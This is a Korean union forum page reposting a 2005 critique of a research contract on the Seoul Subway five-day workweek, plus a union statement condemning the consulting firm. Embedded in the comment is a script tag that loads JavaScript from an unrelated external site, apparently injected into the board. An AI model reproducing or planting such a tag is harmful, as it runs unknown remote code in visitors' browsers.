• 자유게시판
  • 애경사
  • 소통마당
  • 자유게시판

    Home > 열린마당 > 자유게시판
     

    과거의 잘못된 연구용역은?

    • 조합원
    • 13-06-08 16:25
    • 3,112
    연구용역 업체선정 및 과업지시서 합의에 따른 평가| 정액회원 토론방
    희망21 | 조회 14 |추천 0 | 2005.07.02. 23:21
    연구용역 업체선정 및 과업지시서 합의에 따른 평가
     
    노동조합은 불행하게도 심야시간을 이용하여 중대한 노사 합의를 맺곤 한다.

    13대 김종식 집행부도 교섭위원들이 피곤에 지친 새벽녘에 합의서에 날인을 한 노사합의의 전철을 밟고 말았다.

    서울지하철 노동조합은 주오일제 투쟁의 경과 중 한 사람의 위원장이 불명예스럽게 중도하차하고 조합원의 뜻에 따라 새로운 집행부를 선출하였다. 새로운 집행부는 작년도 투쟁에서 실패한 그 안을 그대로 가지고 주오일제를 완성하자고 하며 한편으로는 노동조합의 내외적인 환경을 고려할 때 조합은 연구용역을 피해갈 수 없는 상황에 놓여 있다고 정세를 판단하고 있다.

    현장은 이미 적당히 희석되어 실시되고 있는 절름발이 주오일 근무제도에 체념으로 적응해 있다. 통상 근무자는 통상근무자 대로 토요휴무를 쓰고 있기에 불만이 없고 교대근무자는 교대 근무자대로 월 1회 늘어난 휴일에 적당히 길들여 있다.

    이러한 현장의 상황을 ‘조합원 동력이 죽어있다’라는 평가로 갈음하고 현장 동력이 죽어 있기 때문에 조합은 투쟁으로 온전한 주오일제를 쟁취하기가 어렵다고 한다. 그래서 피할 수 없이 중재가 요구한 것대로 ‘연구용역을 실시할 수밖에 없는 상황이다’며 피할 수 없는 상황을 적극적으로 대처하여 조합원에게 유리한 결과를 얻겠다고 벼르고 있는 것이다.

    그러나 우리는 2004년도 7.21파업투쟁이 무엇을 위한 무엇을 요구한 투쟁이었던가를 간과해서는 안 된다. 수많은 희생의 대가를 치렀음에도 불구하고 우리의 뜻을 관철하지 못한 결과로 굴욕과 치욕스런 중재를 받았기 때문이다.

    직권중재란 노사 자율적인 합의에 이르지 못하였을 경우 당사자의 의견을 청취한 제3자가 노사문제에 개입하는 것이다.

    어찌 보면 제3자가 주문한 연구용역을 받아들이기에 앞서 노동조합은 사용자를 상대하여 자율적인 교섭으로 노사합의를 이끌어 내려는 노력이 필요하였다.

    그러나 공사가 흑자경영을 강요하는 상황에서 합의를 도출하기는 어려운 국면이었음을 부인하지는 않는다.

    그러나 주오일제 시행을 앞둔 서울지하철 공사의 조합원인 우리는 온전한 주오일제를 시행하는데 노동조합이 요구하는 21일 주기 3조2교대제의 근무형태와 노동시간 단축에 따른 유고율 만큼 정원의 증가가 필요하고 우리는 그것을 요구하고 있는 것이며 노동조합이 이러한 입장을 분명히 견지하고 사용자의 직무분석이 포함된 연구용역 요구를 협상으로 저지하려는 의지를 갖고 있었는지 의문을 갖지 않을 수 없다.

    서울지하철 노조의 연구용역은 이미 출발한 열차와 같이 되돌릴 수 없는 상황에 있다. 연구용역을 노사합의로 실행해 나가야 한다는 점에 동의하며 연구용역이 노동조합의 의도대로 조합원에게 유리한 결과를 맺고 종결될 수 있도록 전력을 다하여 대응하여야 할 것이다.

    이에 앞서 중앙집행부는 주오일제를 추진해오는 과정에서 주오일제 추진 계획을 일부 수정하거나 노동조합 회의체의 결정을 유명무실화하며 연구용역을 추진하여 과업지시서의 합의와 업체를 일방적인 선정한 부분에 대하여 분명한 입장의 표명이 있어야 한다.

    이는 향후 집행간부의 일사분란한 대응으로 주오일제 투쟁을 성공적으로 완수하기위해 필수적인 사항으로 더 이상의 의혹이 현장을 유린하지 않도록 사전에 대응함으로서 집행력과 조합원의 동력을 한곳으로 집중시킬 수 있기 때문이다.

    첫째, 조합측 과업지시서는 집행회의에서 논의된 적이 있었는가?

        19차 중집회의(6.27)에서 논의후 23차 집행회의(6.30)에 보고하고 보고 당일 공사와 교섭에 들어가 노사합의를 맺었는데 이는 집행간부인 지회장들이 과업지시서의 작성과 내용숙지에 철저히 배제되는 결과를 낳았다.

    둘째, 연구용역업체의 선정에 대하여 한국표준능률협회컨설팅이 선정된 과정의 모호성.

        일반적 관행은 과업지시서 작성 후 용역업체의 입찰 후 검토 선정하는데 정책실장의 일방적인 제시로 업체를 선정한 과정을 밝히고 선정된 업체의 성향 및 실적, 연구진 등 그 업체를 선정한 배경을 설명해야 할 것이다.

    셋째, 과업지시서의 핵심 내용으로 조합은 노동조건 저하 없는 주오일제의 시행을 위하여 과업을 지시하는 내용을 문자화하여야 하였음에도 7항 마호로 기타사항에 ‘노사합의사항을 고려’라는 표현으로 축소한 이유를 설명해야 할 것이다.

    넷째, 2002년 4월 17일 노사합의서는 주오일제를 위한 기본적인 노사 합의였다. 기 노사 합의한 사항이 과업수행의 전제에 포함되었어야 한다.

    다섯째, 주오일제 근무형태가 05년 교섭안으로 상정되어있다. 용역의 결과에 따라 변수가 있다는 판단에서 조합원은 근무형태의 변화에 우려를 보이고 있다.

        조합의 21일 3조2교대 요구안은 용역결과와 관계없이 계속 유효하게 요구할 것인지에 대하여 입장을 분명하게 밝혀야 할 것이다.

    이상의 지적은 연구용역에 대한 조합원의 불신을 해소하고 조합에 대한 조합원의 신뢰를 회복하기 위해 조속히 해소되어야 하며 노동조합은 향후에 진행될 서울지하철 노사의 연구용역 추진에 있어서도 집행력을 담보해내기 위해 명확하게 해소되어야 한다.
     

    Comment

    whgkqdnjs 13-06-08 17:10
    [성명서] 한국표준협회 컨설팅은 연구용역을 즉각 중단하라 
     글쓴이 : 노동조합 ()  조회 : 2,145   



        <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script>    [성명서]

    공정성, 중립성, 전문성 내팽개친
    한국표준협회 컨설팅은 연구용역을 즉각 중단하라 


    개탄스러운 한국표준협회컨설팅 연구용역의 말로

     서울지하철 노사는 근로기준법 개정에 따른 주5일제 시행과 관련 노사간 이견으로  작년 대규모 쟁의행위와 그 과정에서 조합 간부의 구속과 해고 등이 뒤따르는 지속적인 충돌과 대립을 겪어왔다. 
     많은 진통과 우여곡절 끝에 노사는 서울지방노동위원회의 중재에 따라 중립성과 전문성, 신뢰성이 있는 제 3의 연구기관을 선정하여 ‘합리적인 인원과 근무형태를 도출’하기로 한 바 있으며, 지난 7월 노사합의로 한국표준협회컨설팅에게 연구 과업을 맡겨 추진해왔다.
     150일에 달하는 연구, 조사 일정 끝에 최종 보고서를 도출해야 하는 막바지에 이른 지금, 노동조합은 한국표준협회컨설팅이 준비하고 있는 최종보고서 내용에 개탄과 분노를 금할 수 없으며 차제에 즉각적인 중단을 촉구하는 바이다.
     지난했던 연구 조사 과정 속에 노동조합은 한국표준협회컨설팅 측의 원활한 조사 작업 수행을 위해 지원과 협조를 아끼지 않았다. 이는 ‘노사간 수용성이 높은 최적의 결과를 도출하겠다’고 호언장담했던 한국표준협회컨설팅의 의욕에 대한 일정한 신뢰를 바탕에 둔 것이었으며, 1만 조합원의 이목이 쏠린 연구용역에 현장 노동자의 기대와 바람을 조금이라도 담으려는 충정이었다.
     그러나 한국표준협회컨설팅은 이러한 신뢰와 기대를 철저히 짓밟고, 마치 공사와 합작이라도 한 듯 공사 경영진의 안을 ‘그대로’ 받아 쓴 최종 보고서를 준비하고 있는 것으로 밝혀졌다.
     이는 연구기관으로서의 최소한의 공신력과 전문성을 저버린 것은 물론 한국표준협회컨설팅 스스로 거듭 다짐해온 중립성을 일거에 무너뜨린 파렴치한 말로에 다름 아니다. 

    연구기관으로서의 최소한의 자격도 양심도 저버렸다

     더구나 서울지하철 노사와 계약 및 과업수행 전반을 주도해온 정재익 부사장은 노사가 연구용역을 진행하기로 한 즈음 노동조합과의 면담을 통해 노사 상호 수용성은 물론 ‘증원과 근무형태 개선 등 주5일제 시행 취지를 적극 충족시킬 수 있는 안을 마련하겠다’고 약속한 바 있다.
     정 부사장의 이러한 언약과 공언은 과업 진행 과정에서 수차례 확인되었고, 최종보고서 도출 막바지에 이를 때까지 거듭 확약한바 있어 노동조합의 실망과 개탄은 이루 말할 수 없다.
      더욱 충격적인 사실은 정 부사장 스스로 ‘조합 제시안을 반영할 경우, 공사 측이 문제제기할 것이 예상되고 노사간 논란으로 인해 용역수행 비용을 제대로 받기는 힘들 것으로 판단한다’고 실토했다. 한술 더떠 “공사 제시안을 전면 수용해도 노동조합이 달리 취할 수 있는 방법은 없을 것”이라는 협박에 가까운 발언은 최종 보고서가 일말의 객관성과 공정성도 갖추지 못했음을 보여준다.
     이는 막바지 최종 결과 도출 단계에서 연구의 객관성과 전문성을 담보하기는커녕 조합 제시안과 공사 제시안을 저울질하며 ‘예상되는 양측의 반응에 따른 정략적 판단’에 입각했음을 서슴없이 인정하는 꼴이다.
     또한 한국표준협회컨설팅 스스로가 연구기관으로서의 최소한의 자격도, 양심도 없이 ‘돈만 챙길 궁리’에 집착했다는 것을 고백하고 있음에 다름 아니며, 연구용역 수행이 어떠한 정당성도 갖추지 못한 명백한 하자였다는 것을 시인하고 있는 것이다.
      종합 컨설팅 전문기관으로서의 실적과 명성을 자부한다는 한국표준협회컨설팅 대표자의 수준이 정녕 야바위꾼 수준이나 다를 바 없다는 것인가?

    노동자의 생존권을 갈취하여‘돈벌이’할 수작은 깨끗이 포기하라
     
     정재익 부사장과 한국표준협회 컨설팅은 사안의 심각성을 똑바로 직시해야 한다. 스스로 시인한 결격 보고서를 폐기하지 않는다면 연구기관의 공신력에 치명적인 결과를 초래함은 물론 기관의 존립에 불행한 사태마저 예고하지 않을 수 없다. 
     본 컨설팅이 서울지하철 노사뿐 아니라 1만 조합원, 나아가 수만 지하철 가족에게 얼마나 중요한 의미를 내포하는가 인식한다면 지금이라도 통절한 참회와 사과를 통해 연구용역을 즉각 중단하는 것이 마땅하다.
     또한 과업 수행과정에서의 공사 경영진과 결탁과 뒷거래가 있다면 낱낱이 밝혀야 하며, 상부 권력의 회유나 외압이 있었다면 그 또한 소상히 해명해야 한다.
     공사 고위 경영진과 소수 연구진을 제외하고는 누구도 납득할 수 없는 상식 밖의 최종 보고결과를 준비하고 있는데에 ‘결탁’과 ‘외압’이 없었다고 믿는 사람은 없을 것이다.
     만약 한국표준협회컨설팅 측이 허위와 기만으로 가득찬 연구용역 결과를 가지고, 노동조합을 무시한 채 마지막 행보를 밀어 붙인다면 노동조합은 결코 좌시하지 않을 것임은 물론 노동조합이 취할 수 있는 모든 비상한 수단을 강구할 것임을 마지막으로 경고한다.
     정 부사장과 한국표준협회컨설팅측이 끝끝내 노동조합의 마지막 경고마저 경시한다면 연구용역 추진 전반의 문제점과 경악할만한 부도덕성에 대한 문제제기를 즉각 밟아 나갈 것이다. 
     또 이로 인해 야기되는 모든 불행한 사태의 책임은 전적으로 정재익 부사장과 한국표준협회 컨설팅에 있음을 미리 밝혀둔다.



    2005년 12월 6일
    서울지하철노동조합
     
    [이 게시물은 SSLU님에 의해 2010-09-03 09:29:48 공지사항에서 이동 됨]
    번호 제   목 글쓴이 날짜 조회
    통합노동조합 가입원서 노동조합 08-09 24311
    자유게시판 운영 원칙 노동조합 11-02 75372
    606 서울메트로지하철노동조합 제2대 집행부 선… smslu 06-12 3047
    605    서울메트로지하철노동조합 제2대 집행부 선… 조합을사랑… 06-12 2870
    604 역무본부 시청 1인 시위 5일차 (1) smslu 06-12 3148
    603 통상임금 미지급 소송을 서지 역무도 우리 따… (2) 조합원 06-12 3204
    602 제2기 집행부 총선거를 위한 중앙선거 관리위… (4) smslu 06-11 2828
    601 [역무본부 성명서]-뒷북투쟁과 역무부족정원 … (1) smslu 06-11 3113
    600 역무본부 시청 1인 시위 4일차 (1) smslu 06-11 2891
    599 2012년도 서울메트로 지하철노동조합 승무본… (1) 조합원 06-11 3424
    598 [긴급알림문13-20호]의 별첨1,2 내용 참고 바랍… (8) smslu 06-11 4813
    597 [긴급알림문13-20호] 정년연장 노사합의 사항 … smslu 06-11 5477
    596 “춥다, 덥다” 냉방민원 펄펄… “사고 날라… 조합원 06-11 3331
    595 정년관련 향후대책 (2) 김태철 06-10 3125
    594 투쟁속보(역무본부)3호 역무본부 06-10 3085
    593 조동희 사무처장(국민노총) 최저임금 전원회… (2) smslu 06-10 3180
    592 서울시, 전력난 대비 지하철 운행-청계천 물 … 조합원 06-10 2980